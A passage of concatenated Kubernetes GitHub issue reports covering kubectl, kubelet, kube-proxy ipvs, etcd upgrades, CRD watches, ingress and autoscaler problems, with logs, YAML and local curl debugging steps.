kubernetes-admin-mongo-v3.0.5-fix-permission-742023179-kgqdg   5m           44mi            \r cauth-v0.0.5-2463911897-165m8                                  34m          10mi                \r test-1440672787-kvx8h                                          0m           1mi\r    \r --sort=cpu:\r    \r admindemacbook-pro:kubectl admin$ kubectl --kubeconfig=kubectl.kubeconfig top pod --sort=cpu\r name                                                           cpu cores    memory bytes    \r cauth-v0.0.5-2463911897-165m8                                  34m          10mi     \r hodor-v0.0.5-3204531036-fqb0q                                  23m          64mi         \r hadoop-journalnode-2                                           13m          362mi     \r kubernetes-admin-mongo-v3.0.5-fix-permission-742023179-kgqdg   5m           44mi      \r elasticsearch-logging-v1-psc43                                 2m           2406mi              \r test-1440672787-kvx8h                                          0m           1mi\r    \r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   \r pvcs and pvs are first class k8s objects that are bound together.  the pv controller has a complex state machine that binds these two objects together as an atomic operation using two-way pointers.  this state machine could be simplified if the k8s api could support atomic multi-object updates.\r \r in addition to this current behavior, we are also looking into extending the pv binding workflow to be able to bind multiple pvcs  specified by a single pod  as a single transaction.  multi-object updates could also greatly simplify the implementation.\r

we run thousands of prowjobs per day both in  openshift  https://deck-ci.svc.ci.openshift.org/  and  kubernetes  http://prow.k8s.io/  and it would be great to be able to filter pjs in the cli based on arbitrary prowjob spec fields. namely, pj.spec.type to filter based on the type of the job  presubmit, postsubmit, periodic  or pj.spec.job to filter based on the job name. filtering is already supported in the dashboard but there is no way to dump all the results locally. adding support on the cli would improve debugging a lot.\r \r @kubernetes/sig-api-machinery-feature-requests @kubernetes/sig-cli-feature-requests @enisoc @ncdc

each node waiting for bootstrapping creates 1 line per 2-3s in the logs when the requesting client doesn't have access.  it should not be logging at v 0 , these are all v 4  level.  we should be reporting these appropriately.  i don't want a 5k node cluster showing this.\r \r    \r e1011 12:22:21.620025   21797 certificate_controller.go:140  sync node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq failed with : recognized csr \ node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq\  as  nodeclient  but subject access review was not approved\r e1011 12:22:21.626418   21797 certificate_controller.go:140  sync node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq failed with : recognized csr \ node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq\  as  nodeclient  but subject access review was not approved\r e1011 12:22:21.638339   21797 certificate_controller.go:140  sync node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq failed with : recognized csr \ node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq\  as  nodeclient  but subject access review was not approved\r e1011 12:22:21.659881   21797 certificate_controller.go:140  sync node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq failed with : recognized csr \ node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq\  as  nodeclient  but subject access review was not approved\r e1011 12:22:21.701474   21797 certificate_controller.go:140  sync node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq failed with : recognized csr \ node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq\  as  nodeclient  but subject access review was not approved\r e1011 12:22:21.782825   21797 certificate_controller.go:140  sync node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq failed with : recognized csr \ node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq\  as  nodeclient  but subject access review was not approved\r e1011 12:22:21.944014   21797 certificate_controller.go:140  sync node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq failed with : recognized csr \ node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq\  as  nodeclient  but subject access review was not approved\r e1011 12:22:22.268229   21797 certificate_controller.go:140  sync node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq failed with : recognized csr \ node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq\  as  nodeclient  but subject access review was not approved\r e1011 12:22:22.910677   21797 certificate_controller.go:140  sync node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq failed with : recognized csr \ node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq\  as  nodeclient  but subject access review was not approved\r e1011 12:22:24.192404   21797 certificate_controller.go:140  sync node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq failed with : recognized csr \ node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq\  as  nodeclient  but subject access review was not approved\r e1011 12:22:26.753727   21797 certificate_controller.go:140  sync node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq failed with : recognized csr \ node-csr-6pt9ijw0pum-dxruasxn504jwwavt4bj7hely7agqmq\  as  nodeclient  but subject access review was not approved\r    \r \r @kubernetes/sig-cluster-lifecycle-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r use kube-proxy ipvs mode, create a service with nodeport\r but cannot access 127.0.0.1:nodeport.\r \r   what you expected to happen  :\r \r we can access 127.0.0.1:nodeport in iptables mode, so ipvs should also support this \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1.  run kube-proxy with ipvs\r 2. create a service with nodeport, get ipvs nodeport rule like below:\r    \r tcp  10.19.140.10:30338 rr\r   -> 172.16.74.4:8080             masq    1      0          0 \r    \r 3. curl 127.0.0.1:30338\r    \r   curl 127.0.0.1:30338\r curl:  7  failed connect to 127.0.0.1:30338; connetion refused\r    \r \r   anything else we need to know?  :\r \r iptables use 'addrtype matches dst-type local' to handle nodeport access\r but i see ipvs only handles interface contains eth{x}, \r however, we should consider some other ips as \ local ip\ , e.g 127.0.0.1 in lo interface\r \r btw\r i've tried to stop kube-proxy and manually add 127.0.0.1:nodeport ipvs rules. e.g:\r    \r tcp  127.0.0.1:30338 rr\r   -> 172.16.74.4:8080             masq    1      0          0   \r    \r then try curl 127.0.0.1:30338 will get hung\r \r   environment  :\r - kubernetes version : 1.8\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-327.el7.x86_64\r - install tools:\r - others:\r \r  /area kube-proxy\r /area ipvs

for kubernetes 1.10, we've upgraded the default etcd version to 3.2. as part of this we also must document:\r - steps to upgrade etcd from 3.1 to 3.2\r - steps to rollback from 3.2 back to 3.1 if anything goes wrong. the downgrade path will be to use etcdctl save/restore, which requires downtime but can be performed with zero data loss.

if we define a pod like this below, the pod will never become ready. \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: test-lifecycle\r spec:\r   containers:\r     - name: test-lifecycle\r       image: nginx\r       lifecycle:\r         poststart:\r           httpget:\r             command:\r               path: \ pods\ \r               port: 10250\r               host: 127.0.0.1\r               scheme: https\r    \r \r kubectl describe pod got this event \r    \r warning  failedpoststarthook    2m  x4 over 3m   kubelet, 127.0.0.1  http lifecycle hook  pods  for container \ test-lifecycle\  in pod \ test-lifecycle_default fdd42c35-2b4c-11e8-b8c0-286ed488d02a \  failed - error: get http://127.0.0.1:10250/pods: net/http: http/1.x transport connection broken: malformed http response \ \\x15\\x03\\x01\\x00\\x02\\x02\ , message: \ \ \r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r   \r   what happened  :\r when i run  hack/test-update-storage-objects.sh  i see that it complains about deprecated options:\r    console\r $ ./hack/test-update-storage-objects.sh \r ...\r flag --insecure-bind-address has been deprecated, this flag will be removed in a future version.\r flag --insecure-port has been deprecated, this flag will be removed in a future version.\r ...\r    \r \r   what you expected to happen  :\r the script shouldn't use deprecated options and there shouldn't be such warnings.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    shell\r $ ./hack/test-update-storage-objects.sh\r    \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r \r kube-cm kube-scheduler does not exit when kube-apiserver suspended\r \r   what you expected to happen  :\r \r kube-cm kube-scheduler should exit after leaderelector stops leading\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r /assign\r /cc @timstclair @vishh \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r just only setting  enforcenodeallocatable , and not setting  systemreserved  or  kubereserved , the kubelet will panic in https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/cm/node_container_manager.go l129-l145\r error like this:\r    \r i0827 09:32:59.502666   72198 node_container_manager.go:108  enforcing system reserved on cgroup \ \  with limits: map  \r f0827 09:32:59.502727   72198 kubelet.go:1303  failed to start containermanager failed to enforce system reserved cgroup limits on \ \ :    cgroup is not config properly\r i0827 09:32:59.505574   72198 server.go:458  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ 127.0.0.1\ , uid:\ 127.0.0.1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'warning' reason: 'failednodeallocatableenforcement' failed to enforce system reserved cgroup limits on \ \ :    cgroup is not config properly\r    \r \r i think we should add the validation of dependency in\r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/apis/kubeletconfig/validation/validation.go l105-l118\r \r   what you expected to happen  :\r kubelet do not got error\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.0.395+e363c58627e7a6\ , gitcommit:\ e363c58627e7a6fa3098b75d1da49aadd784f1fa\ , gittreestate:\ clean\ , builddate:\ 2018-08-27t00:46:16z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 14.04, trusty tahr\ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 14.04 lts\ \r version_id=\ 14.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux shap000101123 3.13.0-24-generic  46-ubuntu smp thu apr 10 19:11:08 utc 2014 x86_64 x86_64\r  x86_64 gnu/linux\r    \r \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r \r  kubernetes dashboard is not available through nginx-ingress:\r  \r  curl -v -k https://localhost:30443/k8s/dashboard\r    about to connect   to localhost port 30443   0 \r      trying 127.0.0.1...\r    connected to localhost  127.0.0.1  port 30443   0 \r    initializing nss with certpath: sql:/etc/pki/nssdb\r    skipping ssl peer certificate verification\r    ssl connection using tls_ecdhe_rsa_with_aes_256_gcm_sha384\r    server certificate:\r          subject: cn=kubernetes ingress controller fake certificate,o=acme co\r          start date: oct 01 08:37:05 2018 gmt\r          expire date: oct 01 08:37:05 2019 gmt\r          common name: kubernetes ingress controller fake certificate\r          issuer: cn=kubernetes ingress controller fake certificate,o=acme co\r  > get /k8s-prod/dashboard http/1.1\r  > user-agent: curl/7.29.0\r  > host: localhost:30443\r  > accept:  / \r  >\r  < http/1.1 404 not found\r  < server: nginx/1.15.3\r  < date: mon, 01 oct 2018 14:10:32 gmt\r  < content-type: text/plain; charset=utf-8\r  < content-length: 21\r  < connection: keep-alive\r  < strict-transport-security: max-age=15724800; includesubdomains\r  <\r    connection  0 to host localhost left intact\r  \r \r \r   what you expected to happen  :\r \r it should be available.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r a fresh install with kubespray 2.6.0.\r \r   anything else we need to know?  :\r \r kubectl logs -n kube-system kube-controller-manager- \r \r w1001 08:36:46.093600       1 authentication.go:55  authentication is disabled\r i1001 08:36:46.093623       1 insecure_serving.go:49  serving insecurely on  :: :10252\r i1001 08:36:46.094103       1 leaderelection.go:185  attempting to acquire leader lease  kube-system/kube-controller-manager...\r e1001 08:36:56.094812       1 leaderelection.go:234  error retrieving resource lock kube-system/kube-controller-manager: get https://127.0.0.1:6443/api/v1/namespaces/kube-system/endpoints/kube-controller-manager: net/http: tls handshake timeout\r \r kubectl logs -n kube-system kube-dns-8499cb5585-xcx8h dnsmasq\r \r i1001 13:58:20.796602       1 main.go:74  opts: {{/usr/sbin/dnsmasq  -k --cache-size=1000 --dns-loop-detect --log-facility=- --server=/k8s-prod/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053  true} /etc/k8s/dns/dnsmasq-nanny 10000000000}\r e1001 13:58:20.797341       1 sync.go:164  invalid json \  \\\  .io\\\ ,\\\  .com\\\ ,\\\  .org\\\  \ \ : json: cannot unmarshal array into go value of type map string   string\r e1001 13:58:20.797410       1 sync.go:134  invalid configuration for stubdomains, ignoring update: json: cannot unmarshal array into go value of type map string   string\r e1001 13:58:20.797419       1 nanny.go:174  error getting initial config, using default: json: cannot unmarshal array into go value of type map string   string\r i1001 13:58:20.797428       1 nanny.go:94  starting dnsmasq  -k --cache-size=1000 --dns-loop-detect --log-facility=- --server=/k8s-prod/127.0.0.1 10053 --server=/in-addr.arpa/127.0.0.1 10053 --server=/ip6.arpa/127.0.0.1 10053 \r i1001 13:58:21.440901       1 nanny.go:116  dnsmasq 12 : started, version 2.79 cachesize 1000\r i1001 13:58:21.440933       1 nanny.go:116  dnsmasq 12 : compile time options: ipv6 gnu-getopt no-dbus no-i18n no-idn dhcp dhcpv6 no-lua tftp no-conntrack ipset auth no-dnssec loop-detect inotify\r i1001 13:58:21.440943       1 nanny.go:116  dnsmasq 12 : using nameserver 127.0.0.1 10053 for domain ip6.arpa\r i1001 13:58:21.440950       1 nanny.go:116  dnsmasq 12 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa\r i1001 13:58:21.440957       1 nanny.go:116  dnsmasq 12 : using nameserver 127.0.0.1 10053 for domain k8s-prod\r i1001 13:58:21.440986       1 nanny.go:116  dnsmasq 12 : reading /etc/resolv.conf\r i1001 13:58:21.440992       1 nanny.go:116  dnsmasq 12 : using nameserver 127.0.0.1 10053 for domain ip6.arpa\r i1001 13:58:21.440999       1 nanny.go:116  dnsmasq 12 : using nameserver 127.0.0.1 10053 for domain in-addr.arpa\r i1001 13:58:21.441023       1 nanny.go:116  dnsmasq 12 : using nameserver 127.0.0.1 10053 for domain k8s-prod\r i1001 13:58:21.441037       1 nanny.go:116  dnsmasq 12 : using nameserver 10.5.128.101 53\r i1001 13:58:21.441095       1 nanny.go:116  dnsmasq 12 : using nameserver 10.5.128.102 53\r i1001 13:58:21.441135       1 nanny.go:119 \r w1001 13:58:21.441145       1 nanny.go:120  got eof from stdout\r i1001 13:58:21.441280       1 nanny.go:116  dnsmasq 12 : read /etc/hosts - 7 addresses\r \r kubectl logs -n kube-system kube-dns-8499cb5585-xcx8h sidecar\r \r i1001 13:58:21.392192       1 main.go:51  version v1.14.11\r i1001 13:58:21.392372       1 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.k8s-prod. interval:5s type:1} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.k8s-prod. interval:5s type:1}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r i1001 13:58:21.392422       1 dnsprobe.go:75  starting dnsprobe {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.k8s-prod. interval:5s type:1}\r i1001 13:58:21.392615       1 dnsprobe.go:75  starting dnsprobe {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.k8s-prod. interval:5s type:1}\r w1001 13:58:21.393319       1 server.go:64  error getting metrics from dnsmasq: read udp 127.0.0.1:41128->127.0.0.1:53: read: connection refused\r w1001 13:58:26.394100       1 server.go:64  error getting metrics from dnsmasq: invalid number of answer records for hits.bind.: 0\r \r kubedns container has no error in it.\r \r \r kube-apiserver has a repeating error:\r e1001 13:25:54.929159       1 upgradeaware.go:324  error proxying data from backend to client: readfrom tcp 127.0.0.1:8080->127.0.0.1:52618: write tcp 127.0.0.1:8080->127.0.0.1:52618: write: broken pipe\r \r also nginx works seemingly fine. it logs the 404 error as expected.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: standard vms in azure not kubernetes as a service, but installed on vms. \r - os  e.g. from /etc/os-release : \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r - kernel  e.g.  uname -a  :\r linux k8s-prod-master01 3.10.0-862.11.6.el7.x86_64  1 smp tue aug 14 21:49:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubespray 2.6.0\r - others:\r

reproduced on 1.11.7 as well as master-ish  a92729a301c8928d8e108418e6e4625a9e0d6733 \r \r deleting a crd doesn't seem to cause the api server to terminate watches referencing the corresponding crs, but the watches also don't properly resume if the crd is created again, meaning that you have to wait for watch timeouts to actually get new watch events.\r \r we should probably kill open watches on crd deletion, so that clients are notified and are forced to re-watch.  either that, or seamlessly resume watches if a crd is recreated.\r \r     minimal reproducer:\r \r <details>\r <summary>crd.yaml</summary>\r \r    yaml\r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   name: testcrds.metamagical.io\r spec:\r   group: metamagical.io\r   version: v1\r   names:\r     kind: testcrd\r     plural: testcrds\r   scope: namespaced\r   validation:\r     openapiv3schema:\r       properties:\r         apiversion:\r           type: string\r         kind:\r           type: string\r         metadata:\r           type: object\r         spec:\r           type: object\r           properties:\r             count: {type: integer}\r    \r \r </details>\r <details>\r <summary>cr.yaml</summary>\r \r    yaml\r apiversion: metamagical.io/v1\r kind: testcrd\r metadata:\r   name: testcr\r spec:\r   count: 3\r    \r \r </details>\r \r 1. create the above crd:  kubectl create -f crd.yaml \r 2. create the above cr:  kubectl create -f cr.yaml \r 3.  elsewhere   kubectl proxy \r 4.  curl localhost:8001/apis/metamagical.io/v1/testcrds  and grab a resource version\r 5.  elsewhere   curl localhost:8001/apis/metamagical.io/v1/testcrds?watch=1&resourceversion=<above> \r 6.  kubectl delete -f cr.yaml \r 7.  kubectl delete -f crd.yaml \r 8.  kubectl create -f crd.yaml \r 9.  kubectl create -f cr.yaml \r 10. observe the lack of watch events\r \r after watches time out, things can re-establish, but that can be a while.

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r -  sig-release-1.14-all/gke-cos-1.14-default  https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-default \r \r   which test s  are failing  :\r -   sig-scheduling  preemptionexecutionpath runs replicasets to verify preemption running path 29s  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cos-k8sbeta-default/9490 sig-scheduling-preemptionexecutionpath-runs-replicasets-to-verify-preemption-running-path \r \r   since when has it been failing  :\r - since 2019-02-25 @ 4:15\r -  compared commit changes  https://github.com/kubernetes/kubernetes/compare/506e8dc9e...39dac9a88 \r \r   testgrid link  :\r -  sig-release-1.14-all/gke-cos-1.14-default  https://testgrid.k8s.io/sig-release-1.14-all gke-cos-1.14-default \r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/preemption.go:401\r expected\r     <bool>: false\r to equal\r     <bool>: true\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/preemption.go:431\r    \r \r   anything else we need to know  :\r \r \r  /  /milestone 1.14

we should probably do a binary search of service ips  https://github.com/kubernetes/kubernetes/issues/14099

currently kubelet is limited to on-disk pod manifests and anything received from  --manifest-url  when in runonce mode.

kubelet relies on  docker history  to get the size of layers for each image, so that it can deduplicate shared layers. this is fine for docker v1.9 or before. for docker 1.10+, docker stops generating a random image id for each layer, and just uses the content addressable ids. except for the top layer, every other layer has a  <missing>  id. kubelet relies on using the image layer ids as keys, and this affects the calculation of total used space.      ======== d023c050c065 =========== image               created             created by                                      size                comment d023c050c065        7 days ago          /bin/sh -c   nop  entrypoint &{ \ /dashboard\     0 b                  <missing>           7 days ago          /bin/sh -c   nop  expose 9090/tcp               0 b                  <missing>           7 days ago          /bin/sh -c   nop  add dir:6bf26a2727be5df090a   58.65 mb             <missing>           4 months ago        /bin/sh -c   nop  maintainer piotr bryk <bryk   0 b                  ======== 18ea23a675da =========== image               created             created by                                      size                comment 18ea23a675da        2 weeks ago         /bin/sh -c   nop  cmd  \ nginx\  \ -g\  \ daemon o   0 b                  <missing>           2 weeks ago         /bin/sh -c   nop  expose 443/tcp 80/tcp         0 b                  <missing>           2 weeks ago         /bin/sh -c ln -sf /dev/stderr /var/log/nginx/   11 b                 <missing>           2 weeks ago         /bin/sh -c ln -sf /dev/stdout /var/log/nginx/   11 b                 <missing>           2 weeks ago         /bin/sh -c /tmp/build.sh                        53.91 mb             <missing>           2 weeks ago         /bin/sh -c   nop  copy file:bf2b48e7f6cbf1964   8.221 kb             <missing>           7 weeks ago         /bin/sh -c   nop  cmd  \ /bin/sh\                 0 b                  <missing>           7 weeks ago         /bin/sh -c   nop  add file:2df43ffb0761746c1f   56.57 mb                  on the other hand, we can get all the layers from inspecting the image, but there is no information about its sizes.              \ rootfs\ : {             \ type\ : \ layers\ ,             \ layers\ :                   \ sha256:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef\ ,                 \ sha256:4636ee4859c26ceb06787821cbfb166a81ca82db61656ab01ae168d5e7dee664\ ,                 \ sha256:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef\ ,                 \ sha256:5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef\                        }      /cc @vishh @ronnielai @random-liu

hi, \r \r k8s version:  v1.6.1 \r autoscaler version:  v0.5.4 \r \r when autoscaler scale extra node sometime this node is failing to register with api server and i get the below errors:\r    \r aug 06 07:34:00 ip-192-168-3-40 sh 3408 : i0806 07:34:00.150576    3408 factory.go:54  registering systemd factory\r aug 06 07:34:00 ip-192-168-3-40 sh 3408 : i0806 07:34:00.150693    3408 factory.go:86  registering raw factory\r aug 06 07:34:00 ip-192-168-3-40 sh 3408 : i0806 07:34:00.150821    3408 manager.go:1106  started watching for new ooms in manager\r aug 06 07:34:00 ip-192-168-3-40 sh 3408 : i0806 07:34:00.152049    3408 oomparser.go:185  oomparser using systemd\r aug 06 07:34:00 ip-192-168-3-40 sh 3408 : i0806 07:34:00.152750    3408 manager.go:288  starting recovery of all containers\r aug 06 07:34:00 ip-192-168-3-40 sh 3408 : i0806 07:34:00.221915    3408 manager.go:293  recovery completed\r aug 06 07:34:00 ip-192-168-3-40 sh 3408 : i0806 07:34:00.243705    3408 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r aug 06 07:34:00 ip-192-168-3-40 sh 3408 : i0806 07:34:00.243749    3408 kubelet_node_status.go:272  adding node label from cloud provider: beta.kubernetes.io/instance-type=c3.4xlarge\r aug 06 07:34:00 ip-192-168-3-40 sh 3408 : i0806 07:34:00.243763    3408 kubelet_node_status.go:283  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=us-west-1a\r aug 06 07:34:00 ip-192-168-3-40 sh 3408 : i0806 07:34:00.243770    3408 kubelet_node_status.go:287  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=us-west-1\r aug 06 07:34:00 ip-192-168-3-40 sh 3408 : i0806 07:34:00.251665    3408 kubelet_node_status.go:77  attempting to register node ip-192-168-3-40.us-west-1.compute.internal\r aug 06 07:34:00 ip-192-168-3-40 sh 3408 : i0806 07:34:00.259675    3408 kubelet_node_status.go:80  successfully registered node ip-192-168-3-40.us-west-1.compute.internal\r aug 06 07:34:05 ip-192-168-3-40 sh 3408 : i0806 07:34:05.143822    3408 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r aug 06 07:34:05 ip-192-168-3-40 sh 3408 : i0806 07:34:05.143860    3408 kubelet_node_status.go:272  adding node label from cloud provider: beta.kubernetes.io/instance-type=c3.4xlarge\r aug 06 07:34:05 ip-192-168-3-40 sh 3408 : i0806 07:34:05.143871    3408 kubelet_node_status.go:283  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=us-west-1a\r aug 06 07:34:05 ip-192-168-3-40 sh 3408 : i0806 07:34:05.143877    3408 kubelet_node_status.go:287  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=us-west-1\r aug 06 07:34:05 ip-192-168-3-40 sh 3408 : i0806 07:34:05.147635    3408 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r aug 06 07:34:05 ip-192-168-3-40 sh 3408 : i0806 07:34:05.147658    3408 kubelet_node_status.go:272  adding node label from cloud provider: beta.kubernetes.io/instance-type=c3.4xlarge\r aug 06 07:34:05 ip-192-168-3-40 sh 3408 : i0806 07:34:05.147671    3408 kubelet_node_status.go:283  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=us-west-1a\r aug 06 07:34:05 ip-192-168-3-40 sh 3408 : i0806 07:34:05.147677    3408 kubelet_node_status.go:287  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=us-west-1\r aug 06 07:34:05 ip-192-168-3-40 sh 3408 : i0806 07:34:05.251766    3408 reconciler.go:231  verifycontrollerattachedvolume operation started for volume \ kubernetes.io/host-path/9d9d40b9-7a79-11e7-9ac5-06c137c0357a-varlog\   spec.name: \ varlog\   pod \ 9d9d40b9-7a79-11e7-9ac5-06c137c0357a\   uid: \ 9d9d40b9-7a79-11e7-9ac\r ...skipping...\r aug 06 07:38:10 ip-192-168-3-40 sh 3408 : e0806 07:38:10.556737    3408 kubelet_node_status.go:326  error updating node status, will retry: error getting node \ ip-192-168-3-40.us-west-1.compute.internal\ : nodes \ ip-192-168-3-40.us-west-1.compute.internal\  not found\r aug 06 07:38:10 ip-192-168-3-40 sh 3408 : e0806 07:38:10.556754    3408 kubelet_node_status.go:318  unable to update node status: update node status exceeds retry count\r aug 06 07:38:11 ip-192-168-3-40 sh 3408 : e0806 07:38:11.081273    3408 eviction_manager.go:214  eviction manager: unexpected err: failed getnode: node 'ip-192-168-3-40.us-west-1.compute.internal' not found\r aug 06 07:38:20 ip-192-168-3-40 sh 3408 : e0806 07:38:20.558838    3408 kubelet_node_status.go:326  error updating node status, will retry: error getting node \ ip-192-168-3-40.us-west-1.compute.internal\ : nodes \ ip-192-168-3-40.us-west-1.compute.internal\  not found\r aug 06 07:38:20 ip-192-168-3-40 sh 3408 : e0806 07:38:20.560610    3408 kubelet_node_status.go:326  error updating node status, will retry: error getting node \ ip-192-168-3-40.us-west-1.compute.internal\ : nodes \ ip-192-168-3-40.us-west-1.compute.internal\  not found\r aug 06 07:38:20 ip-192-168-3-40 sh 3408 : e0806 07:38:20.562300    3408 kubelet_node_status.go:326  error updating node status, will retry: error getting node \ ip-192-168-3-40.us-west-1.compute.internal\ : nodes \ ip-192-168-3-40.us-west-1.compute.internal\  not found\r aug 06 07:38:20 ip-192-168-3-40 sh 3408 : e0806 07:38:20.564090    3408 kubelet_node_status.go:326  error updating node status, will retry: error getting node \ 